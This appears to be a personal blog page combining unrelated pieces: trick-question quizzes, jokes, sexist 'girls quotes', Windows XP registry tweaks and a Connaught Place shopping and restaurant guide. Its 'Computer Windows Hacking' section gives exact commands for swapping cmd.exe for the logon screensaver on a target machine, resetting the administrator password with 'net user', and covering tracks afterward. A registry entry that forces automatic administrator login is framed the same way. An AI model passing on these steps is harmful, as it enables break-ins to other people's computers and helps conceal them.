Online IT Solution, Online Programmer, Introduction to VB.NET

Check your Intelligence....?

Below are four ( 4) questions and a bonus question. You have to answer them instantly. You can't take your time, answer all of them immediately. OK?

Let's find out just how clever you really are.

Ready? GO!!! (scroll down)


First Question:You are participating in a race. You overtake the second person. What position are you in?








Answer: If you answered that you are first, then you are absolutely wrong! If you overtake the second person and you take his place, you are second!

Try not to screw up in the next question.To answer the second question, don't take as much time as you took for the first question.


Second Question:If you overtake the last person, then you are...?






Answer: If you answered that you are second to last, then you are wrong again. Tell me, how can you overtake the LAST Person?

You're not very good at this! Are you???


Third Question:Very tricky math! Note: This must be done in your head only.Do NOT use paper and pencil or a calculator. Try it.

Take 1000 and add 40 to it. Now add another 1000. Now add 30. Add another 1000. Now add 20. Now add another 1000 Now add 10. What is the total?
Scroll down for answer.






Did you get 5000?

The correct answer is actually 4100.

Don't believe it? Check with your calculator! Today is definitely not your day. Maybe you will get the last question right?


Okay, now the bonus round:There is a mute person who wants to buy a toothbrush. By imitating the action of brushing one's teeth he successfully expresses himself to the shopkeeper and the purchase is done.
Now if there is a blind man who wishes to buy a pair of sunglasses, how should he express himself? plz dont see before answer





He just has to open his mouth and ask, so simple.

Better Luck Next Time!!


Interviewer said "I shall either ask you ten easy questions or one really difficult
question.

Think well before you make up your mind!"
The boy thought for a while and said, "my choice is one really difficult question."

"Well, good luck to you, you have made your own choice! Now tell me this.

"What comes first, Day or Night?"
The boy was jolted into reality as his admission depends on the correctness of his answer,
but he thought for a while and said,
"It's the DAY sir!"

"How" the interviewer asked,

"Sorry sir, you promised me that you will not ask me a SECOND difficult question!"

He was selected for IIM!

"Technical Skill is the mastery of complexity, while Creativity is the master of simplicity "

Logical Power?

Question for all u guys.....

You are driving along in your car on a wild, stormy night, when you pass by a bus stop, and you see three people waiting for the bus:
1. An old lady wholooks as if she is about to die.
2. An old friend who once saved yourlife.
3. The perfect partner you have been dreaming about.

Which one would you choose to offer a ride to, knowing that there could only be one passenger in your car? Think before you continue reading
...........
...........
...........
...........
...........
...........
...........
...........
...........
...........
...........
...........
...........
...........
...........
This is a moral/ethical dilemma that was once actually used as part of a job application.
You could pick up the old lady, because she is going to die,and thus you should save her first;
or you could take the old friend because he once saved your life, and this would be the perfect chance to pay himback.
However, you may never be able to find your perfect mateagain.

???????????????????????????????????????????????????????????


NOW READ THIS:
The candidate who was hired (out of 200applicants) had no trouble coming up with his answer.
He simplyanswered: I would give the car keys to my old friend and let him take the lady to the hospital. I would stay behind and wait for the bus with the partner of my dreams.

Sometimes, we gain more if we are able to give upour stubborn thought limitations.

Wonderful Poem

A grade 5 teacher one day asked the children in her class to make rhymes with their names.

First up was Dan.
A very adventurous child.
My name is Dan,
When I grow up to be a man,
I want to go to India and Japan,
If I can, If I can, If I can.

"Very good", the teacher said to Dan.

She then asked Sally that it was now herturn.
My name is Sally,
When I grow up to be a lady,
I want to have a baby
If I can, if I can, if I can.

"That is good Sally," the teacher said. "But maybe one day you will change yourmind.

"Next up was Glenn.
He was the naughty one in the class.
Here is his rhyme:
My name is Glenn,
When I grow up to be a man,
Never mind India and Japan,
I'm gonna help Sally with her plan,I know I can, I can, I can.

A Married Couple

A married couple is driving along a highway doing a steady forty miles per
hour.
The wife is behind the wheel.
Her husband suddenly looks across at her and speaks in a clear voice.
“Darling,” he says. “I know we’ve been married for twenty years, but I want
a divorce.”

The wife says nothing, keeps looking at the road ahead but slowly increases
her speed to 45 mph.

The husband speaks again. “I don’t want you to try and talk me out of it,”
he says, “because I’ve been having an affair with your best friend, and
she’s a far better lover than you are.”

Again the wife stays quiet, but grips the steering wheel more tightly and
slowly increases the speed to 55.

He pushes his luck.. “I want the house,” he says insistently. Up to 60 mph.
“I want the car, too,” he continues. 65 mph. “And,” he says,”I’ll have the
bank accounts, all the credit cards and the boat.”

The car slowly starts veering towards a massive concrete bridge.
This makes him a wee bit nervous, so he asks her: “Isn’t there anything you want?”

The wife at last replies - in a quiet and controlled voice. “No, I’ve got
everything I need.” she says. “Oh, really?” he inquires, “So what have you
got?”
Just before they slam into the wall at 75 mph,
the wife turns to him and says:

“The airbag.”

What Does Love Mean???

A group of professional people posed this question to a group of 4 to 8 year-olds,
“What does love mean?”
The answers they got were broader and deeper than anyone could have imagined.
See what you think:

“When my grandmother got arthritis, she couldn’t bend over and paint her toenails anymore. So my grandfather does it for her all the time, even when his hands got arthritis too. That’s love.” …Rebecca - age 8 >>>>>>>>>>>>>>>>>>>>>>>>>

When someone loves you, the way they say your name is different. You know that your name is safe in their mouth.” …Billy - age 4 >>>>>>>>>>>>>>>>>>>

“Love is when a girl puts on perfume and a boy puts on shaving cologne and they go out and smell each other.” …Karl - age 5 >>>>>>>>>>>>>>>>>>>>

Girls Quotes

Good girls go to heaven, bad girls go everywhere.

Put your hand on a hot stove for a minute, and it seems like an hour. Sit with a pretty girl for an hour, and it seems like a minute. THAT'S relativity.

I was about half in love with her by the time we sat down. That's the thing about girls. Every time they do something pretty... you fall half in love with them, and then you never know where the hell you are.

Girls. You never know what they're going to think.

If you can make a girl laugh - you can make her do anything.

I've been looking for a girl like you - not you, but a girl like you.

A girl can wait for the right man to come along but in the meantime that still doesn't mean she can't have a wonderful time with all the wrong ones.


You may admire a girl's curves on the first introduction, but the second meeting shows up new angles

To find out a girl's faults, praise her to her girl friends

A guy and a girl can be just friends, but at one point or another, they will fall for each other...Maybe temporarily, maybe at the wrong time, maybe too late, or maybe forever.


Girls have an unfair advantage over men: if they can't get what they want by being smart, they can get it by being dumb.

A true man does not need to romance a different girl every night, a true man romances the same girl for the rest of her life.

Computer Windows Hacking

How to hack windows XP admin password

If you log into a limited account on your target machine and open up a dos promptthen enter this set of commands Exactly:
cd\ *drops to rootcd\windows\system32 *directs to the system32 dirmkdir temphack *creates the folder temphackcopy logon.scr temphack\logon.scr *backsup logon.scrcopy cmd.exe temphack\cmd.exe *backsup cmd.exedel logon.scr *deletes original logon.scrrename cmd.exe logon.scr *renames cmd.exe to logon.screxit *quits dos
Now what you have just done is told the computer to backup the command programand the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes
"net user password"

If the Administrator Account is called SunnyKhetarpal and you want the password blah-blah enter this
"net user Sunnykhetarpal blah-blah"
and this changes the password on Sunnykhetarpals machine to blah-blah and your in.
Have fun

pls: dont forget to copy the contents of temphack back into the system32 dir to cover tracks


Registry Hacking

Display legal notice on startup:Wanna tell your friends about the do's and dont's in your computer when they login in your absence.
Well you can do it pretty easily by displaying a legal notice at system start up.REGEDIT[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]
"legalnoticecaption"="Enter Any Notice"
"legalnoticetext"="Enter Legal Notice Here"


Automatic Administrator Login:

Well here's the trick which you can use to prove that Windows XP is not at all secure as multi-user
operating system. Hacking the system registry from any account having access to system registry puts
you in to the administrator account.REGEDIT 4[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"AutoAdminLogon"="1"


Increasing options in add/remove programs:

Not a fan of MSN Messenger? don't want Windows Media Player on your system? Fair enough, but if you
go to Add/Remove Programs in the Control Panel, by default none of Windows XP's 'built in' programs
are visible. it's fairly easy to change, though... just open the file X:\Windows\inf\sysoc.inf
(where X: is the drive letter where Windows XP is installed) in Notepad. You should see a section of
the file something like this:

[Components]

NtComponents=ntoc.dll,NtOcSetupProc,,4
WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7
Display=desk.cpl,DisplayOcSetupProc,,7
Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7
NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7
iis=iis.dll,OcEntry,iis.inf,,7
com=comsetup.dll,OcEntry,comnt5.inf,hide,7
dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7
IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7
TerminalServer=TsOc.dll,HydraOc,,hide,2
msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6
ims=imsinsnt.dll,OcEntry,ims.inf,,7
fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7
AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7
IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7

This is a list of all components installed at the moment. I've taken the example of MSN Messenger - the program entry called 'msmsgs', third-last line. You can see the word 'hide' highlighted - this is the string which tells Windows not to display the component in the Add/Remove Programs list. Fix this up by simply deleting the word 'hide' like so:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
To this:
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7

Now, after restarting, you should be able to see MSN Messenger in the Add/Remove Programs list. If
you want to be able to quickly view and remove all components, simply open the sysoc.inf file and do
a global find and replace for the word ",hide" and replace it with a single comma ",".


Speed up Internet Explorer 6 Favorites

For some reason, the Favorites menu in IE 6 seems to slow down dramatically sometimes--I've noticed this happens when you install Tweak UI 1.33, for example, and when you use the preview tip to speed up the Start menu. But here's a fix for the problem that does work, though it's unclear why:
Just open a command line window (Start button -> Run -> cmd) and type sfc, then hit ENTER. This command line runs the System File Checker, which performs a number of services, all of which are completely unrelated to IE 6. But there you go: It works.


Speeding Up Share Viewing:

This is a great tweak. Before I found it, I was always smashing my head against the table waiting to
view shares on other computers. Basically, when you connect to another computer with Windows XP, it
checks for any Scheduled tasks on that computer - a fairly useless task, but one that can add up to
30 seconds of waiting on the other end - not good! Fortunately, it's fairly easy to disable this
process. First, navigate to HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current
Version/Explorer/RemoteComputer/NameSpace in the Registry. Below that, there should be a key called
{D6277990-4C6A-11CF-8D87-00AA0060F5BF}. Just delete this, and after a restart, Windows will no longer check for scheduled tasks - mucho performance improvement!


Create a Shortcut to Lock Your Computer

Leaving your computer in a hurry but you don’t want to log off? You can double-click a shortcut on
your desktop to quickly lock the keyboard and display without using CTRL+ALT+DEL or a screen saver.
To create a shortcut on your desktop to lock your computer:
Right-click the desktop. Point to New, and then click Shortcut.
The Create Shortcut Wizard opens. In the text box, type the following:
rundll32.exe user32.dll,LockWorkStation
Click Next. Enter a name for the shortcut. You can call it
"Lock Workstation" or choose any name you like.
Click Finish. You can also change the shortcut's icon (my personal favorite is the padlock icon in shell32.dll).
To change the icon: Right click the shortcut and then select Properties.
Click the Shortcut tab, and then click the Change Icon button.
In the Look for icons in this file text box, type: Shell32.dll. Click OK. Select one of the icons
from the list and then click OK You could also give it a shortcut keystroke such CTRL+ALT+L.

This would save you only one keystroke from the normal command, but it could be more convenient.

About Connaught Place
Connaught place, also called as CP, is located at the heart of New Delhi. It was
built in 1931. Connaught place happens to be the commercial hub of Delhi. It
depicts the style of British architecture which was very planned and well
structured. The glamour is still there and people love coming to CP for shopping
and entertainment.


Markets and shops in Connaught place are structured in the form of rings
comprising of inner and outer circle. Connaught place has been renamed as Rajiv
Chowk. The British rule at that time thought that the circular structure of the
market would be beneficial for both the shopkeepers and the shoppers. Connaught
Place has been modeled after the Royal Crescent in Bath, England. Connaught
place is easily recognized in the map of Delhi which is again given in this
site (category Map)
because it stands out like a circle with roads
plying from many points on the circumference of the circular structure.


Connaught Place has always been the most sought after destination for both
tourist as well as the resident population. You would find everything here,
right from a grocery store to a car showroom. Connaught place has a
PVR Cineplex
which matches the best in the
city. The restaurants, the cafes, the road side handicraft shops and the
colorful crowd add to the glory of this very historic place.
Any tourist traveling to India must visit
the Connaught Place once. Connaught place has emporiums from every state of
India. Connaught Place also has branches of major National and International
banks, along with the offices of tours operators and

Markets in Connaught Place:
Main markets in and around Connaught place are Janpath and Palika Bazar. Janpath
happens to be one of most important places where you would find latest fashion
clothes and other goods that are popular in modern trend. Connaught Place is a
major attraction for tourists and young generation who find the place an ideal
shopping destination with latest fashion trends. Palika Bazar and Janpath happen
to be the popular markets here, suiting all pockets and catering to the latest
fashion trends.


Janpath: Shops in Janpath sell latest trendy
clothes and fashionable items at cheap prices. These shops are very popular
among foreigners who love buying Indian jewelry,
handicrafts
and other antique items. Having pointed out the specialty
of these shops, it is imperative to mention the precaution one should take while
buying anything from these shops. Shopkeepers in Janpath take advantage of the
ignorance of foreigners about the price and quality of the market. Another
specialty lies in the state emporiums from different Indian states. Handicrafts
lovers would find the place an ideal destination for Handicrafts goods. Apart
from trendy shops, Janpath has cafes and restaurants serving
delicious food
.


Palika bazaar is also very popular which has always attracted tourists
for its unique peculiarity of a wonderful shopping experience under one roof.
The underground market is located in the inner circle of Connaught Place which
can be reached from any point on the circumference of the inner circle. The
specialty lies in its underground structure and the shops, who sell almost every
thing a normal buyer would want to buy for his/her daily need and fashion. You
can say that the place fulfills every shopping need. The market is ideally
suited for shopping in summer and also in winters because people are saved from
sprawling heat and cold respectively. It is famous for electronic goods,
fashionable clothes, perfumes, leather goods, photography equipments, etc. The
underground market has cafes and small eateries where you can enjoy some good
snacks while you shop. The garden above the market is an ideal place to meet and
date your friends. Spending some time in the garden really makes you feel good
as it has a beautiful view of Connaught Place. With the advent of Metro service
to Connaught Place, the market has regained its charm among youngsters who were
shifting to latest malls and other shopping destinations.


Shopping at Palika bazaar needs some bargaining experience because at the
first say they generally ask for a much higher price and anybody can be bowled
by them. So, it is important that you bargain well and look for the authenticity
of the goods. Palika Bazaar is famous for electronic goods and people visit the
market for buying CDs of new movie releases and songs. The market is a big
station for pirated CDs of Indian movies. Police have often raided the place for
selling these pirated movie CDs and some porn stuffs that are one of the prime
features of the market. Most of these goods are pirated and smuggled from other
countries. So, one should be careful while shopping here in Palika Bazaar.



Parking in Connaught Place
Parking at Connaught Place is a big problem with so many vehicles lined up
for parking space. However, there is an underground parking in place but with
the increasing number of vehicles in the city, it has become very difficult for
the authorities to manage the traffic. With the new plan of NDMC, things are
expected to get better and also the running of Delhi Metro to Connaught Place
has lessened the traffic to a great extent. Parking here is very expensive which
means you will have to spend a few bucks to park your vehicles. Palika parking
is a good option at present which is under plans of renovation which would have
multi-level parking space. At the moment it is the only place where you can have
your vehicles parked with a few other empty spots in and around CP.

non-veg Chinese restaurant just off Janpath, popular with travellers staying
nearby. Go early for full-on breakfasts. They also run a reliable travel
service.


El Arab , Sansad Marg. Great place for Middle-Eastern dishes on the corner of
Sansad Marg and the outer ring of Connaught Place, with prices ranging from
medium to high. Tasty hummus, baba ghanoush and Lebanese salads in an
excellent-value daily lunchtime buffet.


Gaylord, near Connaught place, Originally Delhi's top nightclub, now limited to
serving standard but expensive Indian dishes in plush surroundings lit by
glittering chandeliers.


Host , F-Block. Air-con relief from the Indian heat, and a good place to sit
with a beer, silver-service tea, or strong filter coffee. The standard
multi-cuisine, however, is unexciting and meals are overpriced.


Kovil , 2 E-Block, Connaught Place. Fresh, no-smoking restaurant and takeaway
serving exclusively south Indian veg dishes, with great dosas , and delicious
full thalis (around Rs150) at lunch-time.



Kwality , Regal Building, Sansad Marg. High standards of service and hygiene,
with good but unspectacular international cuisine; renowned for its channa
batura , a particular speciality of Delhi.


National , opposite L-Block, Connaught Place. The best of a bunch of inexpensive
sit-down restaurants, with great fiery curries, and an endless supply of
chapatis.


Nirula's , 135 L-Block, Connaught Place. Choose from the downstairs snack bar
(serving packed lunches), the Chinese or tasty multi-cuisine rooms upstairs, or
sample some of the fifty flavours of delicious ice cream in the parlour. A
second branch on N-Block, near the Wimpy , is a popular snack bar with smooth
ice-cream shakes.


Parikrama , Kasturba Gandhi Marg. Novel and expensive Indian and Chinese cuisine
in a revolving restaurant worth a visit.


Pizza Express , D-10 Connaught Place. An ambience and menu identical with their
restaurants abroad; so are the prices, which makes it expensive for Delhi,
especially their drinks menu.


Rodeo , 12 A-Block, Connaught Place. New-Mexican restaurant with Wild West
waiters, crooning karaoke, swinging saddle bar stools, pitchers of beer,
cocktails, excellent fajitas and moderate prices.


Sona Rupa , 46 Janpath. Good Indian and Chinese food, extremely popular with
families. No-nonsense prices, and dramatic dosa -flinging in the open-fronted
kitchen downstairs. Beer and north Indian food upstairs; buy a food ticket at
the till and present it to the cooks.


Spice Route , Hotel Imperial , Janpath. The beautifully decorated and expensive
restaurant specializes in spicy Thai and Kerala cuisine and is widely considered
to be one of the best restaurants in Asia.


Standard , 44 Regal Buildings, Connaught Place. Close to the Regal Cinema, with
two food halls, one for the best-value south Indian thalis in town, and the
other for north Indian and tandoori specials and chilled beer on tap.


Surang , Alka Hotel , 16-90 P-Block, Connaught Place. A minor treat - delicious
tandoori and Mughlai specialities. Vegetarians should try the Vega restaurant
(also in the Alka Hotel ), where the purest Indian veg dishes are served with
ginger kulcha .

United Coffee House , 15 E-Block, Connaught Place. Together with the Host , this
is a long-standing favourite, and does great coffee and cold beer. The food is
very good and portions are ample, but as a whole it's overpriced.


The Dhaba , Claridges Hotel , 12 Aurangzeb Rd. Designed to look like a trucker's
café, with a reconstructed truck to add atmosphere - for those who want really
good dhaba cooking without the grime of a roadside truck stop.


Fujiya , Malcha Marg Market, Chanakyapuri. A pilgrimage place for homesick
Chinese tourists and well worth the queues. Superb, piping-hot Chinese dishes
and fast service.


Karim's , Nizamuddin. Unmissable Mughlai cooking, although not as good as its
Old Delhi counterpart. The sumptuous food is very rich, offering much-renowned
specialities, plus kebabs, korma and rumali roti (super-thin bread).


Moti Mahal , Netaji Shubash Marg, Darya Ganj. On the noisy main road south of
Jami Masjid, this once smart restaurant, established in 1947, may have seen
better days but is still renowned as the home of tandoori chicken.


Natraj Bhalla Corner , Chandni Chowk. Right next to the Central Bank, midway
along Chandni Chowk. Cosy first-floor snack bar with a few window seats and a
limited menu comprising Indian, Western and Chinese options.


Paratha Wali Gali , Chandni Chowk. Opposite the Central Bank, down an alley that
leads behind Kanwarji Raj Kumar Sweet Shop. Follow the smell of rich ghee (the
lane's hallmark from more than a century dedicated to paratha -making) to any of
the several tiny rooms squeezed behind counters displaying pure veg food. Here
you choose a paratha to go with standard veg dishes, filled with anything from
paneer and gobi to mutter and mooli, all cooked to order, a culinary treat that
will set you back around Rs30.


Soni Bhojnalaya , Nai Sarak. First-floor restaurant at the top of a yellow
staircase opposite Bina Musical Stores, 30m off Chandni Chowk. Great thalis in
typically Indian unfussy surroundings.
